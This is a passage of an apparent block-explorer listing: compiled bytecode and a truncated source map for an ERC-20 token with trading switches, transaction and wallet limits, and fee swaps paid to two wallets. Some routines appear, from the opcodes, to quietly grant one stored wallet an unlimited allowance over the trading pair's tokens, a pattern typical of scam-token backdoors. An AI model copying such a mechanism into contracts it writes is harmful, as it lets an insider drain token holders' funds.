ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806119d25750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156119d15750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b5b156119e05760009050611b7a565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611a8b5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611aa3576010546014819055506011546015819055505b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611b4e5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611b7957601254601481905550611b6582611fd1565b601354611b729190613545565b6015819055505b5b611b8685858584611fed565b5050505050565b6000838311158290611bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcc9190612973565b60405180910390fd5b5060008385611be49190613545565b9050809150509392505050565b6000600154821115611c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2f906135eb565b60405180910390fd5b6000611c4261201a565b9050611c57818461204590919063ffffffff16565b915050919050565b6001600d60016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c9757611c9661360b565b5b604051908082528060200260200182016040528015611cc55781602001602082028036833780820191505090505b5090503081600081518110611cdd57611cdc612e00565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611da89190612ebb565b81600181518110611dbc57611dbb612e00565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e2330600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111db565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e879594939291906136f8565b600060405180830381600087803b158015611ea157600080fd5b505af1158015611eb5573d6000803e3d6000fd5b50505050506000600d60016101000a81548160ff02191690831515021790555050565b6000600e5482611ee89190613781565b905060008183611ef89190613545565b9050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611f62573d6000803e3d6000fd5b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611fcb573d6000803e3d6000fd5b50505050565b600066038d7ea4c6800082611fe69190613781565b9050919050565b80611ffb57611ffa61208f565b5b6120068484846120cc565b80612014576120136122b1565b5b50505050565b60008060006120276122c5565b9150915061203e818361204590919063ffffffff16565b9250505090565b600061208783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612324565b905092915050565b60006014541480156120a357506000601554145b6120ca57601454601681905550601554601781905550600060148190555060006015819055505b565b6000806000806000806120de87612387565b9550955095509550955095506120f489896123ef565b156121045761210389896124a3565b5b61215686600a60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257790919063ffffffff16565b600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121eb85600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c190919063ffffffff16565b600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122378161261f565b61224184836126dc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161229e91906128c8565b60405180910390a3505050505050505050565b601654601481905550601754601581905550565b600080600060015490506000670de0b6b3a764000090506122f9670de0b6b3a764000060015461204590919063ffffffff16565b82101561231757600154670de0b6b3a7640000935093505050612320565b81819350935050505b9091565b6000808311829061236b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123629190612973565b60405180910390fd5b506000838561237a9190613781565b9050809150509392505050565b60008060008060008060008060006123a48a601454601554612716565b92509250925060006123b461201a565b905060008060006123c78e8787876127ac565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561249b5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156125735761257281837fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6111db565b5b5050565b60006125b983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b8d565b905092915050565b60008082846125d0919061347f565b905083811015612615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260c906137fe565b60405180910390fd5b8091505092915050565b600061262961201a565b90506000612640828461283590919063ffffffff16565b905061269481600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c190919063ffffffff16565b600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f18260015461257790919063ffffffff16565b60018190555061270c81600f546125c190919063ffffffff16565b600f819055505050565b6000806000806127426064612734888a61283590919063ffffffff16565b61204590919063ffffffff16565b9050600061276c606461275e888b61283590919063ffffffff16565b61204590919063ffffffff16565b9050600061279582612787858c61257790919063ffffffff16565b61257790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c5858961283590919063ffffffff16565b905060006127dc868961283590919063ffffffff16565b905060006127f3878961283590919063ffffffff16565b9050600061281c8261280e858761257790919063ffffffff16565b61257790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080830361284757600090506128a9565b60008284612855919061381e565b90508284826128649190613781565b146128a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289b906138d2565b60405180910390fd5b809150505b92915050565b6000819050919050565b6128c2816128af565b82525050565b60006020820190506128dd60008301846128b9565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561291d578082015181840152602081019050612902565b60008484015250505050565b6000601f19601f8301169050919050565b6000612945826128e3565b61294f81856128ee565b935061295f8185602086016128ff565b61296881612929565b840191505092915050565b6000602082019050818103600083015261298d818461293a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006129ca8261299f565b9050919050565b6129da816129bf565b81146129e557600080fd5b50565b6000813590506129f7816129d1565b92915050565b612a06816128af565b8114612a1157600080fd5b50565b600081359050612a23816129fd565b92915050565b60008060408385031215612a4057612a3f612995565b5b6000612a4e858286016129e8565b9250506020612a5f85828601612a14565b9150509250929050565b60008115159050919050565b612a7e81612a69565b82525050565b6000602082019050612a996000830184612a75565b92915050565b6000819050919050565b6000612ac4612abf612aba8461299f565b612a9f565b61299f565b9050919050565b6000612ad682612aa9565b9050919050565b6000612ae882612acb565b9050919050565b612af881612add565b82525050565b6000602082019050612b136000830184612aef565b92915050565b600080600060608486031215612b3257612b31612995565b5b6000612b40868287016129e8565b9350506020612b51868287016129e8565b9250506040612b6286828701612a14565b9150509250925092565b600060ff82169050919050565b612b8281612b6c565b82525050565b6000602082019050612b9d6000830184612b79565b92915050565b6000612bae8261299f565b9050919050565b612bbe81612ba3565b82525050565b6000602082019050612bd96000830184612bb5565b92915050565b600060208284031215612bf557612bf4612995565b5b6000612c0384828501612a14565b91505092915050565b600060208284031215612c2257612c21612995565b5b6000612c30848285016129e8565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612c5e57612c5d612c39565b5b8235905067ffffffffffffffff811115612c7b57612c7a612c3e565b5b602083019150836020820283011115612c9757612c96612c43565b5b9250929050565b612ca781612a69565b8114612cb257600080fd5b50565b600081359050612cc481612c9e565b92915050565b600080600060408486031215612ce357612ce2612995565b5b600084013567ffffffffffffffff811115612d0157612d0061299a565b5b612d0d86828701612c48565b93509350506020612d2086828701612cb5565b9150509250925092565b612d33816129bf565b82525050565b6000602082019050612d4e6000830184612d2a565b92915050565b60008060408385031215612d6b57612d6a612995565b5b6000612d79858286016129e8565b9250506020612d8a858286016129e8565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612dca6020836128ee565b9150612dd582612d94565b602082019050919050565b60006020820190508181036000830152612df981612dbd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612e69826128af565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e9b57612e9a612e2f565b5b600182019050919050565b600081519050612eb5816129d1565b92915050565b600060208284031215612ed157612ed0612995565b5b6000612edf84828501612ea6565b91505092915050565b6000604082019050612efd6000830185612d2a565b612f0a6020830184612d2a565b9392505050565b6000819050919050565b6000612f36612f31612f2c84612f11565b612a9f565b6128af565b9050919050565b612f4681612f1b565b82525050565b600060c082019050612f616000830189612d2a565b612f6e60208301886128b9565b612f7b6040830187612f3d565b612f886060830186612f3d565b612f956080830185612d2a565b612fa260a08301846128b9565b979650505050505050565b600081519050612fbc816129fd565b92915050565b600080600060608486031215612fdb57612fda612995565b5b6000612fe986828701612fad565b9350506020612ffa86828701612fad565b925050604061300b86828701612fad565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006130716026836128ee565b915061307c82613015565b604082019050919050565b600060208201905081810360008301526130a081613064565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006131036024836128ee565b915061310e826130a7565b604082019050919050565b60006020820190508181036000830152613132816130f6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006131956022836128ee565b91506131a082613139565b604082019050919050565b600060208201905081810360008301526131c481613188565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006132276025836128ee565b9150613232826131cb565b604082019050919050565b600060208201905081810360008301526132568161321a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006132b96023836128ee565b91506132c48261325d565b604082019050919050565b600060208201905081810360008301526132e8816132ac565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061334b6029836128ee565b9150613356826132ef565b604082019050919050565b6000602082019050818103600083015261337a8161333e565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006133dd603f836128ee565b91506133e882613381565b604082019050919050565b6000602082019050818103600083015261340c816133d0565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613449601c836128ee565b915061345482613413565b602082019050919050565b600060208201905081810360008301526134788161343c565b9050919050565b600061348a826128af565b9150613495836128af565b92508282019050808211156134ad576134ac612e2f565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b600061350f6023836128ee565b915061351a826134b3565b604082019050919050565b6000602082019050818103600083015261353e81613502565b9050919050565b6000613550826128af565b915061355b836128af565b925082820390508181111561357357613572612e2f565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006135d5602a836128ee565b91506135e082613579565b604082019050919050565b60006020820190508181036000830152613604816135c8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61366f816129bf565b82525050565b60006136818383613666565b60208301905092915050565b6000602082019050919050565b60006136a58261363a565b6136af8185613645565b93506136ba83613656565b8060005b838110156136eb5781516136d28882613675565b97506136dd8361368d565b9250506001810190506136be565b5085935050505092915050565b600060a08201905061370d60008301886128b9565b61371a6020830187612f3d565b818103604083015261372c818661369a565b905061373b6060830185612d2a565b61374860808301846128b9565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061378c826128af565b9150613797836128af565b9250826137a7576137a6613752565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006137e8601b836128ee565b91506137f3826137b2565b602082019050919050565b60006020820190508181036000830152613817816137db565b9050919050565b6000613829826128af565b9150613834836128af565b9250828202613842816128af565b9150828204841483151761385957613858612e2f565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006138bc6021836128ee565b91506138c782613860565b604082019050919050565b600060208201905081810360008301526138eb816138af565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cc7fb9a46780f768b10312dd42edc4f670eb93f712e000156074773853c3817164736f6c63430008130033

Deployed Bytecode Sourcemap

4151:13544:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4552:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7264:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8411:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4697:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4753:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7687:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8612:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7119:137;;;;;;;;;;;;;:::i;:::-;;7450:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4624:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4937:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12942:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7541:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3996:148;;;;;;;;;;;;;:::i;:::-;;12660:230;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6562:518;;;;;;;;;;;;;:::i;:::-;;3530:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7355:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8204:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4836:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4801:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7790:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3744:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4552:57;;;;:::o;7264:83::-;7301:13;7334:5;;;;;;;;;;;;;;;;;7327:12;;7264:83;:::o;8411:193::-;8513:4;8535:39;8544:12;:10;:12::i;:::-;8558:7;8567:6;8535:8;:39::i;:::-;8592:4;8585:11;;8411:193;;;;:::o;4697:47::-;;;;:::o;4753:41::-;;;;;;;;;;;;;:::o;7687:95::-;7740:7;4411:11;7760:14;;7687:95;:::o;8612:446::-;8744:4;8761:36;8771:6;8779:9;8790:6;8761:9;:36::i;:::-;8808:220;8831:6;8852:12;:10;:12::i;:::-;8879:138;8935:6;8879:138;;;;;;;;;;;;;;;;;:11;:19;8891:6;8879:19;;;;;;;;;;;;;;;:33;8899:12;:10;:12::i;:::-;8879:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;8808:8;:220::i;:::-;9046:4;9039:11;;8612:446;;;;;:::o;7119:137::-;3667:12;:10;:12::i;:::-;3657:22;;:6;;;;;;;;;;:22;;;3649:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4411:11:::1;7176:20;:30;;;;4411:11;7217:21;:31;;;;7119:137::o:0;7450:83::-;7491:5;4368:1;7509:16;;7450:83;:::o;4624:58::-;;;;:::o;4937:100::-;;;;;;;;;;;;;:::o;12942:130::-;3667:12;:10;:12::i;:::-;3657:22;;:6;;;;;;;;;;:22;;;3649:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13046:18:::1;13029:14;:35;;;;12942:130:::0;:::o;7541:138::-;7607:7;7634:37;7654:7;:16;7662:7;7654:16;;;;;;;;;;;;;;;;7634:19;:37::i;:::-;7627:44;;7541:138;;;:::o;3996:148::-;3667:12;:10;:12::i;:::-;3657:22;;:6;;;;;;;;;;:22;;;3649:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4103:1:::1;4066:40;;4087:6;::::0;::::1;;;;;;;;4066:40;;;;;;;;;;;;4134:1;4117:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3996:148::o:0;12660:230::-;3667:12;:10;:12::i;:::-;3657:22;;:6;;;;;;;;;;:22;;;3649:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12773:9:::1;12769:114;12792:8;;:15;;12788:1;:19;12769:114;;;12863:8;12829:18;:31;12848:8;;12857:1;12848:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12829:31;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;12809:3;;;;;:::i;:::-;;;;12769:114;;;;12660:230:::0;;;:::o;6562:518::-;3667:12;:10;:12::i;:::-;3657:22;;:6;;;;;;;;;;:22;;;3649:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6647:15:::1;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6629:55;;;6693:4;6700:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6629:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6615:11;;:108;;;;;;;;;;;;;;;;;;6734:68;6751:4;6766:15;;;;;;;;;;;6784:17;6734:8;:68::i;:::-;6815:15;;;;;;;;;;;:31;;;6854:21;6899:4;6919:24;6937:4;6919:9;:24::i;:::-;6958:1;6975::::0;6992:7:::1;:5;:7::i;:::-;7014:15;6815:225;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7068:4;7051:14;;:21;;;;;;;;;;;;;;;;;;6562:518::o:0;3530:79::-;3568:7;3595:6;;;;;;;;;;;3588:13;;3530:79;:::o;7355:87::-;7394:13;7427:7;;;;;;;;;;;;;;;;;7420:14;;7355:87;:::o;8204:199::-;8309:4;8331:42;8341:12;:10;:12::i;:::-;8355:9;8366:6;8331:9;:42::i;:::-;8391:4;8384:11;;8204:199;;;;:::o;4836:94::-;;;;;;;;;;;;;:::o;4801:26::-;;;;;;;;;;;;;:::o;7790:184::-;7907:7;7939:11;:18;7951:5;7939:18;;;;;;;;;;;;;;;:27;7958:7;7939:27;;;;;;;;;;;;;;;;7932:34;;7790:184;;;;:::o;3744:244::-;3667:12;:10;:12::i;:::-;3657:22;;:6;;;;;;;;;;:22;;;3649:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3853:1:::1;3833:22;;:8;:22;;::::0;3825:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3943:8;3914:38;;3935:6;::::0;::::1;;;;;;;;3914:38;;;;;;;;;;;;3972:8;3963:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3744:244:::0;:::o;3077:98::-;3130:7;3157:10;3150:17;;3077:98;:::o;9066:369::-;9210:1;9193:19;;:5;:19;;;9185:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9291:1;9272:21;;:7;:21;;;9264:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9373:6;9343:11;:18;9355:5;9343:18;;;;;;;;;;;;;;;:27;9362:7;9343:27;;;;;;;;;;;;;;;:36;;;;9411:7;9395:32;;9404:5;9395:32;;;9420:6;9395:32;;;;;;:::i;:::-;;;;;;;;9066:369;;;:::o;13080:2450::-;13218:1;13202:18;;:4;:18;;;13194:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13295:1;13281:16;;:2;:16;;;13273:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13339:18;13360:21;13339:42;;13409:1;13400:6;:10;13392:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13490:18;:22;13509:2;13490:22;;;;;;;;;;;;;;;;;;;;;;;;;13489:23;:52;;;;;13517:18;:24;13536:4;13517:24;;;;;;;;;;;;;;;;;;;;;;;;;13516:25;13489:52;13470:1363;;;13606:14;;;;;;;;;;;13601:209;;13679:7;:5;:7::i;:::-;13671:15;;:4;:15;;;13641:153;;;;;;;;;;;;:::i;:::-;;;;;;;;;13601:209;13862:20;;13852:6;:30;;13826:120;;;;;;;;;;;;:::i;:::-;;;;;;;;;13984:11;;;;;;;;;;;13978:17;;:2;:17;;;13975:169;;14049:21;;14040:6;14024:13;14034:2;14024:9;:13::i;:::-;:22;;;;:::i;:::-;:46;14016:112;;;;;;;;;;;;:::i;:::-;;;;;;;;;13975:169;14160:27;14190:24;14208:4;14190:9;:24::i;:::-;14160:54;;14241:12;14279:14;;14256:19;:37;;14241:52;;14334:20;;14311:19;:43;14308:90;;14378:20;;14356:42;;14308:90;14417:7;:37;;;;;14447:7;;;;;;;;;;;14446:8;14417:37;:71;;;;;14476:12;;;;;;;;;;;14417:71;:112;;;;;14518:11;;;;;;;;;;;14510:19;;:4;:19;;;;14417:112;:157;;;;;14552:18;:22;14571:2;14552:22;;;;;;;;;;;;;;;;;;;;;;;;;14551:23;14417:157;:204;;;;;14597:18;:24;14616:4;14597:24;;;;;;;;;;;;;;;;;;;;;;;;;14596:25;14417:204;14413:409;;;14656:29;14665:19;14656:8;:29::i;:::-;14704:18;14725:21;14704:42;;14782:1;14769:10;:14;14765:42;;;14786:19;14794:10;14786:7;:19::i;:::-;14765:42;14637:185;14413:409;13553:1280;;13470:1363;14845:12;14860:4;14845:19;;14880:18;:24;14899:4;14880:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;14908:18;:22;14927:2;14908:22;;;;;;;;;;;;;;;;;;;;;;;;;14880:50;14879:98;;;;14944:11;;;;;;;;;;;14936:19;;:4;:19;;;;:40;;;;;14965:11;;;;;;;;;;;14959:17;;:2;:17;;;;14936:40;14879:98;14875:587;;;15004:5;14994:15;;14875:587;;;15062:11;;;;;;;;;;;15054:19;;:4;:19;;;:53;;;;;15091:15;;;;;;;;;;;15077:30;;:2;:30;;;;15054:53;15051:177;;;15147:16;;15128;:35;;;;15199:13;;15182:14;:30;;;;15051:177;15252:11;;;;;;;;;;;15246:17;;:2;:17;;;:53;;;;;15283:15;;;;;;;;;;;15267:32;;:4;:32;;;;15246:53;15242:209;;;15339:17;;15320:16;:36;;;;15409:26;15424:10;15409:14;:26::i;:::-;15392:14;;:43;;;;:::i;:::-;15375:14;:60;;;;15242:209;14875:587;15472:50;15496:4;15502:2;15506:6;15514:7;15472:23;:50::i;:::-;13183:2347;;13080:2450;;;:::o;414:224::-;534:7;567:1;562;:6;;570:12;554:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;594:9;610:1;606;:5;;;;:::i;:::-;594:17;;629:1;622:8;;;414:224;;;;;:::o;11876:323::-;11971:7;12029;;12018;:18;;11996:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;12117:19;12139:10;:8;:10::i;:::-;12117:32;;12167:24;12179:11;12167:7;:11;;:24;;;;:::i;:::-;12160:31;;;11876:323;;;:::o;15538:474::-;5921:4;5911:7;;:14;;;;;;;;;;;;;;;;;;15607:21:::1;15645:1;15631:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15607:40;;15676:4;15658;15663:1;15658:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;15702:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15692:4;15697:1;15692:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;15735:62;15752:4;15767:15;;;;;;;;;;;15785:11;15735:8;:62::i;:::-;15808:15;;;;;;;;;;;:66;;;15889:11;15915:1;15931:4;15958;15978:15;15808:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;15596:416;5958:5:::0;5948:7;;:15;;;;;;;;;;;;;;;;;;15538:474;:::o;12207:272::-;12259:20;12291:11;;12282:6;:20;;;;:::i;:::-;12259:43;;12313:23;12348:12;12339:6;:21;;;;:::i;:::-;12313:47;;12371:17;;;;;;;;;;;:26;;:40;12398:12;12371:40;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12422:23;;;;;;;;;;;:32;;:49;12455:15;12422:49;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12248:231;;12207:272;:::o;11124:103::-;11182:7;11215:4;11209:3;:10;;;;:::i;:::-;11202:17;;11124:103;;;:::o;16020:349::-;16184:6;16179:51;;16207:11;:9;:11::i;:::-;16179:51;16240:47;16261:6;16269:9;16280:6;16240:20;:47::i;:::-;16303:6;16298:64;;16338:12;:10;:12::i;:::-;16298:64;16020:349;;;;:::o;9989:164::-;10031:7;10052:15;10069;10088:19;:17;:19::i;:::-;10051:56;;;;10125:20;10137:7;10125;:11;;:20;;;;:::i;:::-;10118:27;;;;9989:164;:::o;1267:132::-;1325:7;1352:39;1356:1;1359;1352:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1345:46;;1267:132;;;;:::o;17258:247::-;17322:1;17302:16;;:21;:44;;;;;17345:1;17327:14;;:19;17302:44;17348:7;17298:57;17386:16;;17365:18;:37;;;;17432:14;;17413:16;:33;;;;17467:1;17448:16;:20;;;;17496:1;17479:14;:18;;;;17258:247;:::o;16560:686::-;16710:15;16740:23;16778:12;16805:23;16843:12;16870:13;16897:19;16908:7;16897:10;:19::i;:::-;16695:221;;;;;;;;;;;;16922:33;16937:6;16945:9;16922:14;:33::i;:::-;16918:72;;;16957:33;16972:6;16980:9;16957:14;:33::i;:::-;16918:72;17019:28;17039:7;17019;:15;17027:6;17019:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;17001:7;:15;17009:6;17001:15;;;;;;;;;;;;;;;:46;;;;17079:39;17102:15;17079:7;:18;17087:9;17079:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;17058:7;:18;17066:9;17058:18;;;;;;;;;;;;;;;:60;;;;17129:18;17141:5;17129:11;:18::i;:::-;17149:29;17167:4;17173;17149:17;:29::i;:::-;17211:9;17194:44;;17203:6;17194:44;;;17222:15;17194:44;;;;;;:::i;:::-;;;;;;;;16684:562;;;;;;16560:686;;;:::o;17513:130::-;17573:18;;17554:16;:37;;;;17619:16;;17602:14;:33;;;;17513:130::o;10161:257::-;10212:7;10221;10241:15;10259:7;;10241:25;;10277:15;4411:11;10277:25;;10327:20;4411:11;10327:7;;:11;;:20;;;;: